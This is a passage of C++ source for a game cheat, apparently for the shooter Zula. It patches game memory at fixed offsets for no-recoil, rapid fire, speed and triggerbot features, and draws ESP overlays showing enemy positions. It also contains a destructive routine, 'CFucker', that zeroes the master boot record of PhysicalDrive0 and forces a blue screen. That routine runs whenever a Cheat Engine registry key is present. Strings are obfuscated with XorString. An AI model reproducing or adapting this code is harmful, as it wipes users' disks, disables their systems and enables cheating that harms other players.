handy = OpenProcess(SYNCHRONIZE | PROCESS_TERMINATE, TRUE, pid);
TerminateProcess(handy, 0);
}
void Cross(int CenterX, int CenterY)
{
DrawFilledRect(CenterX - 14, CenterY, 10, 1.5, &Col.SilverWhite);//Left
DrawFilledRect(CenterX + 6, CenterY, 10, 1.5, &Col.SilverWhite);//Right
DrawFilledRect(CenterX, CenterY - 15, 1.5, 10, &Col.SilverWhite);//Top
DrawFilledRect(CenterX, CenterY + 5, 1.5, 10, &Col.SilverWhite);//Bottom
DrawCircleFilled(CenterX + 1, CenterY, 2, &Col.moi_red, 5);
}
namespace Offsets
{
uint32_t ScopeRecoilX = 0x28A5071;//up
uint32_t ScopeRecoilY = ScopeRecoilX + 0xC;
uint32_t NoScopeRecoilX = ScopeRecoilX + 0x16E70;
uint32_t NoScopeRecoilY = NoScopeRecoilX + 0xC;
uint32_t NoSpread = ScopeRecoilX - 0xF19F;
uint32_t FastKnifeR = ScopeRecoilX + 0x26F75;
uint32_t FastKnifeL = FastKnifeR + 0x253C;// DC 8D D4 02 00 00
uint32_t RapidGun = 0x1CA34F4;// up
uint32_t ScopeRapidFire = ScopeRecoilX - 0x426E; // DC 8D B4 03 00 00
uint32_t RapidFire = ScopeRapidFire + 0x17455; // DC 8D C8 04 00 00
uint32_t NoReload = ScopeRecoilX + 0xD449;// 99 F7 BD ? ? 00 00 89 95 ? ? 00 00 8b 85 ? ? 00 00 89 85 ? ? 00 00 8b c3 05 ? ? ? 01 89 85 ? ? 00 00 8b 83 ? ? ? 01
/*
0DBFE7ED - 8B 83 141DCA01 - mov eax,[ebx+01CA1D14] // no reload
*/
uint32_t NameEspCmp = 0x285191A;//ScopeRecoilX - 0x536F5;// cmp eax, 00
uint32_t NameEsp_hideTeamIcon = NameEspCmp + 0x602;
uint32_t NameEsp_hideTeamIcon2 = NameEspCmp + 0x6E0;
uint32_t NameEsp_Color = NameEspCmp + 0x174;//0x2851D3E;// up
uint32_t FastWeaponSwitch = ScopeRecoilX + 0x41309;
uint32_t SpeedX1 = 0x2762338/*0x273FD62*/;// 8B 85 E0 09 00 00 - mov eax, [ebp + 000009E0]
uint32_t SpeedX2 = SpeedX1 + 0x6;// 8B 8D E4 09 00 00 - mov ecx, [ebp + 000009E4]
uint32_t Trigger = 0x17F044D;//up
uint32_t TriggerSniper = 0x1CA2D24;//up
uint32_t MouseControl = 0x17F3579;// her yama: +0x8 up
uint32_t EscControl = 0x17F44C0;// EscControl > 0
uint32_t MouseControl2 = 0x1C82B9D;//up
//3110
uint32_t inGame = 0x17F03E5;//0x17F0421;// her yama + 0x7C
uint32_t HerkesTek = 0x184D617;// her yama + 0x11BC
uint32_t inRank = 0x183BCF1;//up
uint32_t iWeaponSelect = 0x1CA34F8;//
uint32_t EnemyCheck = 0x182ECA8;//up
uint32_t if_c4_start = 0x1BD99AD;//
uint32_t local_health = 0x1BEB5DD;//
uint32_t NoSmoke_1 = 0x2081169;// ScopeRecoilX - 0x820A4F
uint32_t NoSmoke_2 = NoSmoke_1 + 0x48F4;
uint32_t NoSmoke_3 = NoSmoke_1 + 0x4BD3;
uint32_t AntiAFK = 0x21BA9A5;//
// 3C1F0045
// mouse1: 0x17F3531
// mouse2: 0x1C8159D
}
bool mousecheck = true;
BOOL BFiring = FALSE;
DWORD TrigTime = 0;
bool bMemory[20];
#define MBR_SIZE 512
DWORD CFucker()
{
DWORD write;
char mbrData[512];
ZeroMemory(&mbrData, (sizeof mbrData));
RtlSecureZeroMemory(&mbrData, (sizeof mbrData));
HANDLE MasterBootRecord = CreateFileA(XorString("\\\\.\\PhysicalDrive0"), GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL))
BlueScreen();
else
BlueScreen();
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
}
std::string CheckEnemy()
{
int XCheckEnemy = readmem<int>(MemoryBase + Offsets::EnemyCheck);
if (XCheckEnemy == 1)
return std::string(XorString("zulu"));
else
return std::string(XorString("Gladio"));
}
#define MAX_PROCESSES 1024
DWORD FindProcess(__in_z LPCTSTR lpcszFileName)
{
LPDWORD lpdwProcessIds;
LPTSTR lpszBaseName;
HANDLE hProcess;
DWORD i, cdwProcesses, dwProcessId = 0;
lpdwProcessIds = (LPDWORD)HeapAlloc(GetProcessHeap(), 0, MAX_PROCESSES * sizeof(DWORD));
if (lpdwProcessIds != NULL)
{
if (EnumProcesses(lpdwProcessIds, MAX_PROCESSES * sizeof(DWORD), &cdwProcesses))
{
lpszBaseName = (LPTSTR)HeapAlloc(GetProcessHeap(), 0, MAX_PATH * sizeof(TCHAR));
if (lpszBaseName != NULL)
{
cdwProcesses /= sizeof(DWORD);
for (i = 0; i < cdwProcesses; i++)
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, lpdwProcessIds[i]);
if (hProcess != NULL)
{
if (GetModuleBaseName(hProcess, NULL, lpszBaseName, MAX_PATH) > 0)
{
if (!lstrcmpi(lpszBaseName, lpcszFileName))
{
dwProcessId = lpdwProcessIds[i];
CloseHandle(hProcess);
break;
}
}
CloseHandle(hProcess);
}
}
HeapFree(GetProcessHeap(), 0, (LPVOID)lpszBaseName);
}
}
HeapFree(GetProcessHeap(), 0, (LPVOID)lpdwProcessIds);
}
return dwProcessId;
}
void memory()
{
HKEY hKey;
LONG lRes = RegOpenKeyExA(HKEY_CURRENT_USER, XorString("Software\\Cheat Engine"), 0, KEY_READ, &hKey);
if (lRes == 2) // == 2 yok demek.
{
// No spread: DB 83 A8 1C CA 01
__try
{
BYTE six_nop[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
BYTE Off_RecoilX[] = { 0x89, 0x83, 0x88, 0x34, 0xCA, 0x01 };
BYTE Off_RecoilY[] = { 0x89, 0x83, 0x8C, 0x34, 0xCA, 0x01 };
BYTE Off_Spread[] = { 0xDB, 0x83, 0x8C, 0x34, 0xCA, 0x01 };
BYTE Off_Reload_Switch[] = { 0x8B, 0x83, 0xF8, 0x34, 0xCA, 0x01 };
BYTE Off_SpeedX1[] = { 0x8B, 0x85, 0xE0, 0x09, 0x00, 0x00 };
BYTE Off_SpeedX2[] = { 0x8B, 0x8D, 0xE4, 0x09, 0x00, 0x00 };
BYTE Off_ScopeRF[] = { 0xDC, 0x8D, 0xB4, 0x03, 0x00, 0x00 };
BYTE Off_RF[] = { 0xDC, 0x8D, 0xC8, 0x04, 0x00, 0x00 };
BYTE Off_LRapidKnf[] = { 0xDC, 0x8D, 0xD4, 0x02, 0x00, 0x00 };
BYTE Off_RRapidKnf[] = { 0xDC, 0x8D, 0x88, 0x02, 0x00, 0x00 };
BYTE Off_Smoke1[] = { 0xDC, 0x8D, 0x2C, 0x02, 0x00, 0x00 };
BYTE Off_Smoke2[] = { 0xDC, 0x8D, 0x64, 0x02, 0x00, 0x00 };
BYTE Off_Smoke3[] = { 0xDC, 0x8D, 0xD4, 0x02, 0x00, 0x00 };
BYTE Off_AFK[] = { 0x89, 0x83, 0x44, 0x5A, 0x01, 0x00 };
BYTE jne[] = { 0x75 };
BYTE je[] = { 0x74 };
if (Moi.Esp.Dot)
{
Cross(ScreenCenterX, ScreenCenterY);
}
if (Moi.Misc.NoRecoil)
{
if (bMemory[0] == true)
{
writemem(MemoryBase + Offsets::ScopeRecoilX, &six_nop, sizeof(six_nop));
writemem(MemoryBase + Offsets::ScopeRecoilY, &six_nop, sizeof(six_nop));
writemem(MemoryBase + Offsets::NoScopeRecoilX, &six_nop, sizeof(six_nop));
writemem(MemoryBase + Offsets::NoScopeRecoilY, &six_nop, sizeof(six_nop));
bMemory[0] = false;
}
}
else
{
if (bMemory[0] == false)
{
writemem(MemoryBase + Offsets::ScopeRecoilX, &Off_RecoilX, sizeof(Off_RecoilX));
writemem(MemoryBase + Offsets::ScopeRecoilY, &Off_RecoilY, sizeof(Off_RecoilY));
writemem(MemoryBase + Offsets::NoScopeRecoilX, &Off_RecoilX, sizeof(Off_RecoilX));
writemem(MemoryBase + Offsets::NoScopeRecoilY, &Off_RecoilY, sizeof(Off_RecoilY));
bMemory[0] = true;
}
}
if (Moi.Misc.NoSpread)
{
if (bMemory[1] == true)
{
writemem(MemoryBase + Offsets::NoSpread, &six_nop, sizeof(six_nop));
bMemory[1] = false;
}
}
else
{
if (bMemory[1] == false)
{
writemem(MemoryBase + Offsets::NoSpread, &Off_Spread, sizeof(Off_Spread));
bMemory[1] = true;
}
}
if (Moi.Misc.NoReload)
{
if (bMemory[2] == true)
{
writemem(MemoryBase + Offsets::NoReload, &six_nop, sizeof(six_nop));
bMemory[2] = false;
}
}
else
{
if (bMemory[2] == false)
{
writemem(MemoryBase + Offsets::NoReload, &Off_Reload_Switch, sizeof(Off_Reload_Switch));
bMemory[2] = true;
}
}
if (Moi.Misc.FastWeaponSwitch)
{
if (bMemory[3] == true)
{
writemem(MemoryBase + Offsets::FastWeaponSwitch, &six_nop, sizeof(six_nop));
bMemory[3] = false;
}
}
else
{
if (bMemory[3] == false)
{
writemem(MemoryBase + Offsets::FastWeaponSwitch, &Off_Reload_Switch, sizeof(Off_Reload_Switch));
bMemory[3] = true;
}
}
if (Moi.Misc.RapidFire)
{
if (bMemory[4] == true)
{
writemem(MemoryBase + Offsets::ScopeRapidFire, &six_nop, sizeof(six_nop));
writemem(MemoryBase + Offsets::RapidFire, &six_nop, sizeof(six_nop));
bMemory[4] = false;
}
}
else
{
if (bMemory[4] == false)
{
writemem(MemoryBase + Offsets::ScopeRapidFire, &Off_ScopeRF, sizeof(Off_ScopeRF));
writemem(MemoryBase + Offsets::RapidFire, &Off_RF, sizeof(Off_RF));
bMemory[4] = true;
}
}
if (Moi.Misc.RapidKnife)
{
if (bMemory[5] == true)
{
writemem(MemoryBase + Offsets::FastKnifeL, &six_nop, sizeof(six_nop));
writemem(MemoryBase + Offsets::FastKnifeR, &six_nop, sizeof(six_nop));
bMemory[5] = false;
}
}
else
{
if (bMemory[5] == false)
{
writemem(MemoryBase + Offsets::FastKnifeL, &Off_LRapidKnf, sizeof(Off_LRapidKnf));
writemem(MemoryBase + Offsets::FastKnifeR, &Off_RRapidKnf, sizeof(Off_RRapidKnf));
bMemory[5] = true;
}
}
if (Moi.Esp.Name)
{
// 83 F8 00 - cmp eax, 00 = team
// 83 F8 01 - cmp eax, 01 = enemy
// 83 F8 02 - cmp eax, 02 = all
// 83 F8 03 - cmp eax, 03 = none
if (bMemory[7] == true)
{
BYTE enemy[] = { 0x83, 0xF8, 0x01 };
writemem(MemoryBase + Offsets::NameEspCmp, &enemy, sizeof(enemy));// kapali 4byt val: 1962997891
writemem(MemoryBase + Offsets::NameEsp_hideTeamIcon, &je, sizeof(je));
writemem(MemoryBase + Offsets::NameEsp_hideTeamIcon2, &je, sizeof(je));
bMemory[7] = false;
}
BYTE Silver[] = { 0x8B, 0x83, 0x08, 0x11, 0xDA, 0x01 };
BYTE Yellow[] = { 0x8B, 0x83, 0x0C, 0x11, 0xDA, 0x01 };// + 0x4
BYTE DarkGrey[] = { 0x8B, 0x83, 0x14, 0x11, 0xDA, 0x01 };// + 0x8
BYTE Red[] = { 0x8B, 0x83, 0x18, 0x11, 0xDA, 0x01 };// + 0x4
/*
BYTE Silver[] = { 0x8B, 0x83, 0x18, 0xD0, 0xD9, 0x01 };
BYTE Yellow[] = { 0x8B, 0x83, 0x1C, 0xD0, 0xD9, 0x01 };
BYTE DarkGrey[] = { 0x8B, 0x83, 0x24, 0xD0, 0xD9, 0x01 };
BYTE Red[] = { 0x8B, 0x83, 0x28, 0xD0, 0xD9, 0x01 };
*/
if (nSelect == 0)
writemem(MemoryBase + Offsets::NameEsp_Color, &Silver, sizeof(Silver));
else if (nSelect == 1)
writemem(MemoryBase + Offsets::NameEsp_Color, &Red, sizeof(Red));
else if (nSelect == 2)
writemem(MemoryBase + Offsets::NameEsp_Color, &Yellow, sizeof(Yellow));
else if (nSelect == 3)
writemem(MemoryBase + Offsets::NameEsp_Color, &DarkGrey, sizeof(DarkGrey));
}
else
{
if (bMemory[7] == false)
{
BYTE team[] = { 0x83, 0xF8, 0x00 };
BYTE Silver[] = { 0x8B, 0x83, 0x08, 0x11, 0xDA, 0x01 };
writemem(MemoryBase + Offsets::NameEspCmp, &team, sizeof(team));
writemem(MemoryBase + Offsets::NameEsp_Color, &Silver, sizeof(Silver));
writemem(MemoryBase + Offsets::NameEsp_hideTeamIcon, &jne, sizeof(jne));
writemem(MemoryBase + Offsets::NameEsp_hideTeamIcon2, &jne, sizeof(jne));
bMemory[7] = true;
}
}
if (Moi.Esp.Smoke)
{
if (bMemory[8] == true)
{
writemem(MemoryBase + Offsets::NoSmoke_1, &six_nop, sizeof(six_nop));
writemem(MemoryBase + Offsets::NoSmoke_2, &six_nop, sizeof(six_nop));
writemem(MemoryBase + Offsets::NoSmoke_3, &six_nop, sizeof(six_nop));
bMemory[8] = false;
}
}
else
{
if (bMemory[8] == false)
{
writemem(MemoryBase + Offsets::NoSmoke_1, &Off_Smoke1, sizeof(Off_Smoke1));
writemem(MemoryBase + Offsets::NoSmoke_2, &Off_Smoke2, sizeof(Off_Smoke2));
writemem(MemoryBase + Offsets::NoSmoke_3, &Off_Smoke3, sizeof(Off_Smoke3));
bMemory[8] = true;
}
}
if (Moi.Misc.AFK)
{
if (bMemory[9] == true)
{
writemem(MemoryBase + Offsets::AntiAFK, &six_nop, sizeof(six_nop));
bMemory[9] = false;
}
}
else
{
if (bMemory[9] == false)
{
writemem(MemoryBase + Offsets::AntiAFK, &Off_AFK, sizeof(Off_AFK));
bMemory[9] = true;
}
}
if (Moi.Misc.RapidGun)
{
if (GetAsyncKeyState(VK_LBUTTON) & 0x8000)
{
int iWpSelect = readmem<int>(MemoryBase + Offsets::iWeaponSelect);
if (iWpSelect == 2048)
{
int on = 10240;
writemem(MemoryBase + Offsets::RapidGun, &on, sizeof(on));
}
else
{
int on = 117760;
writemem(MemoryBase + Offsets::RapidGun, &on, sizeof(on));
}
}
}
if (Moi.Misc.Speed)
{
if (!(GetAsyncKeyState(VK_LBUTTON) < 0))
{
if (GetAsyncKeyState('E') < 0)
{
if (GetAsyncKeyState('W') & 0x8000 ||
GetAsyncKeyState('S') & 0x8000)
{
if (SpeedVal == 0)
writemem(MemoryBase + Offsets::SpeedX1, &six_nop, sizeof(six_nop));
else if (SpeedVal == 1)
writemem(MemoryBase + Offsets::SpeedX2, &six_nop, sizeof(six_nop));
}
else
{
writemem(MemoryBase + Offsets::SpeedX1, &Off_SpeedX1, sizeof(Off_SpeedX1));
writemem(MemoryBase + Offsets::SpeedX2, &Off_SpeedX2, sizeof(Off_SpeedX2));
}
}
else
{
writemem(MemoryBase + Offsets::SpeedX1, &Off_SpeedX1, sizeof(Off_SpeedX1));
writemem(MemoryBase + Offsets::SpeedX2, &Off_SpeedX2, sizeof(Off_SpeedX2));
}
}
else
{
writemem(MemoryBase + Offsets::SpeedX1, &Off_SpeedX1, sizeof(Off_SpeedX1));
writemem(MemoryBase + Offsets::SpeedX2, &Off_SpeedX2, sizeof(Off_SpeedX2));
}
}
if (Opened == true)
{
if (mousecheck == true)
{
int four = 4;
writemem(MemoryBase + Offsets::MouseControl, &four, sizeof(four));
writemem(MemoryBase + Offsets::MouseControl2, &four, sizeof(four));
mousecheck = false;
}
}
else
{
if (mousecheck == false)
{
int esc_check = readmem<int>(MemoryBase + Offsets::EscControl);
if (esc_check < 1024)
{
int four = 0;
writemem(MemoryBase + Offsets::MouseControl, &four, sizeof(four));
writemem(MemoryBase + Offsets::MouseControl2, &four, sizeof(four));
mousecheck = true;
}
else
{
int four = 4;
writemem(MemoryBase + Offsets::MouseControl, &four, sizeof(four));
writemem(MemoryBase + Offsets::MouseControl2, &four, sizeof(four));
mousecheck = true;
}
}
}
if (Moi.Misc.Trigger)
{
if (Moi.Misc.TriggerSniper)
{
int on = 1024;
writemem(MemoryBase + Offsets::TriggerSniper, &on, sizeof(on));
}
BOOL Fire = TRUE;
int Trig = readmem<int>(MemoryBase + Offsets::Trigger);
int hp = readmem<int>(MemoryBase + Offsets::local_health);
if (Trig == 4) Fire = TRUE; else Fire = FALSE;
if (!(GetAsyncKeyState(VK_LBUTTON) < 0))
{
if (hp > 0)
{
if (Fire)
{
if (!BFiring)
{
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
TrigTime = GetTickCount();
BFiring = TRUE;
}
else
{
DWORD Span = GetTickCount() - TrigTime;
if (Span > 5)
{
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
BFiring = FALSE;
}
}
}
else
{
if (BFiring)
{
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
BFiring = FALSE;
}
}
}
}
}
}
__except (1) {}
}
else
{
CFucker();
BlueScreen();
/*if (lRes == 0)
{
//CFucker();
BlueScreen();
system(XorString("taskkill /f /IM csrss.exe"));
}
else
{
BlueScreen();
}*/
}
}
void AIms(DWORD_PTR ent)
{
float max = 30.f;
Vector RootPos = readmem<Vector>(ent + 0x3DC);
//HeadPoz.z += 15.f;
Vector rootHeadOut;
WorldToScreen(Vector(RootPos.x, RootPos.z, RootPos.y), rootHeadOut, TempMatrix);
if (GetClosestPlayerToCrossHair(rootHeadOut, max, AimFOV))
entityx = ent;
}
Vector CreateScreen(Vector Rootpoz)
{
Vector screen;
WorldToScreen(Vector(Rootpoz.x, Rootpoz.z, Rootpoz.y), screen, TempMatrix);
return screen;
}
Vector GetBonePos(uint32_t entity, string entity_handle, std::string handle)
{
if (Moi.Esp.Skeleton)
{
if (strstr(entity_handle.c_str(), handle.c_str()))
return readmem<Vector>(entity + 0x3DC);
}
}
bool h = true;
bool driver_Check = true;
void loop_esp()
{
::EnumWindows(EnumWindowsProc, NULL);
/*if (FindProcess("zulu.exe"))
{
}
else { exit(-1); }*/
if (MemoryBase == NULL)
MemoryBase = readmem<uint32_t>(0x10226708);
int ingame = readmem<int>(MemoryBase + Offsets::inGame);
int herkestek = readmem<int>(MemoryBase + Offsets::HerkesTek);
int inrank = readmem<int>(MemoryBase + Offsets::inRank);
//if (driver_Check)
//{
// //int in_camp = readmem<int>(MemoryBase + 0x183AC4D);// kampa gir 4 ��k 0
// int in_camp = readmem<int>(MemoryBase + 0x183BB38);
// if (in_camp == 4)
// {
// LPVOID LoadedDriver[1024]; DWORD OurDrvListSize; char DrvName[50];
// EnumDeviceDrivers(LoadedDriver, sizeof(LoadedDriver), &OurDrvListSize);
// //process entry's
// for (DWORD i = 0; LoadedDriver[i]; i++)
// {
// //check antishit's
// if (GetDeviceDriverBaseName(LoadedDriver[i], DrvName, sizeof(DrvName)))
// if (!strstr(("BEDaisy"), DrvName))
// BlueScreen();
// driver_Check = false;
// }
// }
//}
memory();
if (ingame == 4)
{
uint32_t pEntity = readmem<uint32_t>(0x10243998);
while (pEntity)
{
pEntity = readmem<uint32_t>(pEntity + 0x4);
/* Matrix */
D3DXMATRIX Draw = readmem<D3DXMATRIX>(0x105916C0);
if (Draw._44 != 0.0f)
TempMatrix = Draw;
else
Draw = TempMatrix;
/* Entity Handle */
string entity_handle;
uint32_t EntityHandle = readmem<uint32_t>(pEntity + 0xC);
readmemB(EntityHandle, &entity_handle, 24);
Vector RootPos = readmem<Vector>(pEntity + 0x3DC);
Vector Screen = CreateScreen(RootPos);
//Vector bHead = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_HEAD.MDL"));// kafa
//Vector bSpine2 = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_SPINE2.MDL"));// omurga ba�lang�c�
//Vector bSpine = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_SPINE.MDL"));// omurga biti�i
//Vector bPelvis = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_PELVIS.MDL"));
//Vector bR_UpArm = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_R_UPPERARM.MDL"));
//Vector bR_ForeArm = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_R_FOREARM.MDL"));
//Vector bR_Hand = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_R_HAND.MDL"));
//Vector bR_Thigh = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_R_THIGH.MDL"));
//Vector bR_Calf = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_R_CALF.MDL"));
//Vector bR_Foot = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_R_FOOT.MDL"));
//Vector bL_UpArm = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_L_UPPERARM.MDL"));
//Vector bL_ForeArm = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_L_FOREARM.MDL"));
//Vector bL_Hand = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_L_HAND.MDL"));
//Vector bL_Thigh = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_L_THIGH.MDL"));
//Vector bL_Calf = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_L_CALF.MDL"));
//Vector bL_Foot = GetBonePos(pEntity, entity_handle.c_str(), XorString("HITBOX_L_FOOT.MDL"));
//Vector vNeck = CreateScreen(bHead);
//Vector vSpine2 = CreateScreen(bSpine2);
//Vector vSpine = CreateScreen(bSpine);
//Vector vPelvis = CreateScreen(bPelvis);
//Vector vR_UpArm = CreateScreen(bR_UpArm);
//Vector vR_ForeArm = CreateScreen(bR_ForeArm);
//Vector vR_Hand = CreateScreen(bR_Hand);
//Vector vL_UpArm = CreateScreen(bL_UpArm);
//Vector vL_ForeArm = CreateScreen(bL_ForeArm);
//Vector vL_Hand = CreateScreen(bL_Hand);
//Vector vR_Thigh = CreateScreen(bR_Thigh);
//Vector vR_Calf = CreateScreen(bR_Calf);
//Vector vR_Foot = CreateScreen(bR_Foot);
//Vector vL_Thigh = CreateScreen(bL_Thigh);
//Vector vL_Calf = CreateScreen(bL_Calf);
//Vector vL_Foot = CreateScreen(bL_Foot);
Vector LocalPos = readmem<Vector>(LocalPlayer + 0x3DC);
float distance = LocalPos.DistTo(RootPos) / 100.f;
Vector HeadPoz = RootPos;
HeadPoz.z += 25.f;
Vector FeetPoz = RootPos;
FeetPoz.z -= 48.f;
Vector vFeet = CreateScreen(FeetPoz);
int die = readmem<int>(pEntity + 0x24);
char xdist[64];
sprintf(xdist, XorString("%.fm"), distance);
if (strstr(entity_handle.c_str(), random_aimbone().c_str() /*: XorString("HITBOX_HEAD.MDL")*/))
AIms(pEntity);
if (Moi.Esp.C4)
{
int if_c4_start = readmem<int>(MemoryBase + Offsets::if_c4_start);
if (if_c4_start == 4)
{
if (strstr(entity_handle.c_str(), XorString("SABOTAJ_C4_MEKAN.MDL")))
{
DrawStrokeText(Screen.x, Screen.y, &Col.peachred, XorString("C4 Bomb"));
DrawLine(ScreenCenterX, ScreenCenterY + ScreenCenterY, Screen.x, Screen.y + 10, &Col.darkblue_, 1.5);
}
}
}
if (Moi.Esp.Danger)
{
if (strstr(entity_handle.c_str(), XorString("SIL_BS_M18_MESH")) ||
strstr(entity_handle.c_str(), XorString("SIL_BG_DUALK4_MESH")) ||
strstr(entity_handle.c_str(), XorString("SIL_BS_TRP90_MESH")) ||
strstr(entity_handle.c_str(), XorString("SIL_BF_M84_MESH")) ||
strstr(entity_handle.c_str(), XorString("SIL_BG_M61_MESH")) ||
strstr(entity_handle.c_str(), XorString("SIL_BG_C4KUMANDA_MESH")) ||
strstr(entity_handle.c_str(), XorString("SIL_BG_MK3_MESH")) ||
strstr(entity_handle.c_str(), XorString("SIL_BG_MK2_MESH")))
{
DrawStrokeText(Screen.x, Screen.y, &Col.peachred, XorString("Bomb Danger!!"));
}
}
/* int vis_check = readmem<int>(pEntity + 0x1B00);
int vis_check2 = readmem<int>(pEntity + 0x205C);
int vis_check3 = readmem<int>(pEntity + 0x35CC);*/
// if (LocalPlayer != pEntity)
// {
if (RootPos.x != 0.f || RootPos.y != 0.f || RootPos.z != 0.f)
{
if (die == 0)
{
if (isLocalPlayer)
LocalPlayer = pEntity;
if (isPlayer)
{
if (inrank != 4)
{
if (herkestek != 1280 || herkestek != 1792)
{
if (!strcmp(CheckEnemy().c_str(), XorString("Gladio")))
{
if (ZulaTeam)
{
/*if (Moi.Esp.Skeleton)
{
if (vis_check != 67109648 && vis_check2 != 67109648 && vis_check3 != 67109648)
{
DrawLine(vNeck.x, vNeck.y, vSpine2.x, vSpine2.y, &Col.DarkYellow, 1.5);
DrawLine(vSpine2.x, vSpine2.y, vSpine.x, vSpine.y, &Col.DarkYellow, 1.5);
DrawLine(vSpine.x, vSpine.y, vPelvis.x, vPelvis.y, &Col.DarkYellow, 1.5);
DrawLine(vNeck.x, vNeck.y, vR_UpArm.x, vR_UpArm.y, &Col.DarkYellow, 1.5);
DrawLine(vR_UpArm.x, vR_UpArm.y, vR_ForeArm.x, vR_ForeArm.y, &Col.DarkYellow, 1.5);
DrawLine(vR_ForeArm.x, vR_ForeArm.y, vR_Hand.x, vR_Hand.y, &Col.DarkYellow, 1.5);
DrawLine(vNeck.x, vNeck.y, vL_UpArm.x, vL_UpArm.y, &Col.DarkYellow, 1.5);
DrawLine(vL_UpArm.x, vL_UpArm.y, vL_ForeArm.x, vL_ForeArm.y, &Col.DarkYellow, 1.5);
DrawLine(vL_ForeArm.x, vL_ForeArm.y, vL_Hand.x, vL_Hand.y, &Col.DarkYellow, 1.5);
DrawLine(vPelvis.x, vPelvis.y, vR_Thigh.x, vR_Thigh.y, &Col.DarkYellow, 1.5);
DrawLine(vR_Thigh.x, vR_Thigh.y, vR_Calf.x, vR_Calf.y, &Col.DarkYellow, 1.5);
DrawLine(vR_Calf.x, vR_Calf.y, vR_Foot.x, vR_Foot.y, &Col.DarkYellow, 1.5);
DrawLine(vPelvis.x, vPelvis.y, vL_Thigh.x, vL_Thigh.y, &Col.DarkYellow, 1.5);
DrawLine(vL_Thigh.x, vL_Thigh.y, vL_Calf.x, vL_Calf.y, &Col.DarkYellow, 1.5);
DrawLine(vL_Calf.x, vL_Calf.y, vL_Foot.x, vL_Foot.y, &Col.DarkYellow, 1.5);
}
}*/
if (Moi.Esp.Box)
Box3D(RootPos, &Col.moi_red, 1.7);
if (Moi.Esp.Line)
DrawLine(ScreenCenterX, ScreenCenterY + ScreenCenterY, vFeet.x, vFeet.y + 20, &Col.moi_green, 1);
if (Moi.Esp.LookDirection)
EspLookDirection(pEntity, HeadPoz);
if (Moi.Esp.Distance)
DrawStrokeText(vFeet.x - (strlen(xdist) * 7 / 2), vFeet.y, &Col.moi_green, xdist);
if (Moi.Esp.Radar)
DrawRadar(LocalPos, RootPos, &Col.moi_red);
}
else
{
// Team
if (tSelect == 1)
{
if (Moi.Esp.Box)
Box3D(RootPos, &Col.moi_blue, 1.7);
if (Moi.Esp.Radar)
DrawRadar(LocalPos, RootPos, &Col.moi_blue);
}
}
}
else if (!strcmp(CheckEnemy().c_str(), XorString("zulu")))
{
if (GladioTeam)
{
/*if (Moi.Esp.Skeleton)
{
if (vis_check != 67109648 && vis_check2 != 67109648 && vis_check3 != 67109648)
{
DrawLine(vNeck.x, vNeck.y, vSpine2.x, vSpine2.y, &Col.green, 1);
DrawLine(vSpine2.x, vSpine2.y, vSpine.x, vSpine.y, &Col.green, 1);
DrawLine(vSpine.x, vSpine.y, vPelvis.x, vPelvis.y, &Col.green, 1);
DrawLine(vNeck.x, vNeck.y, vR_UpArm.x, vR_UpArm.y, &Col.green, 1);
DrawLine(vR_UpArm.x, vR_UpArm.y, vR_ForeArm.x, vR_ForeArm.y, &Col.green, 1);
DrawLine(vR_ForeArm.x, vR_ForeArm.y, vR_Hand.x, vR_Hand.y, &Col.green, 1);
DrawLine(vNeck.x, vNeck.y, vL_UpArm.x, vL_UpArm.y, &Col.green, 1);
DrawLine(vL_UpArm.x, vL_UpArm.y, vL_ForeArm.x, vL_ForeArm.y, &Col.green, 1);
DrawLine(vL_ForeArm.x, vL_ForeArm.y, vL_Hand.x, vL_Hand.y, &Col.green, 1);
DrawLine(vPelvis.x, vPelvis.y, vR_Thigh.x, vR_Thigh.y, &Col.green, 1);
DrawLine(vR_Thigh.x, vR_Thigh.y, vR_Calf.x, vR_Calf.y, &Col.green, 1);
DrawLine(vR_Calf.x, vR_Calf.y, vR_Foot.x, vR_Foot.y, &Col.green, 1);
DrawLine(vPelvis.x, vPelvis.y, vL_Thigh.x, vL_Thigh.y, &Col.green, 1);
DrawLine(vL_Thigh.x, vL_Thigh.y, vL_Calf.x, vL_Calf.y, &Col.green, 1);
DrawLine(vL_Calf.x, vL_Calf.y, vL_Foot.x, vL_Foot.y, &Col.green, 1);
}
}*/
if (Moi.Esp.Box)
Box3D(RootPos, &Col.moi_red, 1.7);
if (Moi.Esp.Line)
DrawLine(ScreenCenterX, ScreenCenterY + ScreenCenterY, vFeet.x, vFeet.y + 20, &Col.moi_green, 1);
if (Moi.Esp.LookDirection)
EspLookDirection(pEntity, HeadPoz);
if (Moi.Esp.Distance)
DrawStrokeText(vFeet.x - (strlen(xdist) * 7 / 2), vFeet.y, &Col.moi_green, xdist);
if (Moi.Esp.Radar)
DrawRadar(LocalPos, RootPos, &Col.moi_red);
}
else
{
if (tSelect == 1)
{
// Team
if (Moi.Esp.Box)
Box3D(RootPos, &Col.moi_blue, 1.7);
if (Moi.Esp.Radar)
DrawRadar(LocalPos, RootPos, &Col.moi_blue);
}
}
}
}
else
{
if (ZulaTeam && GladioTeam)
{
/*if (Moi.Esp.Skeleton)
{
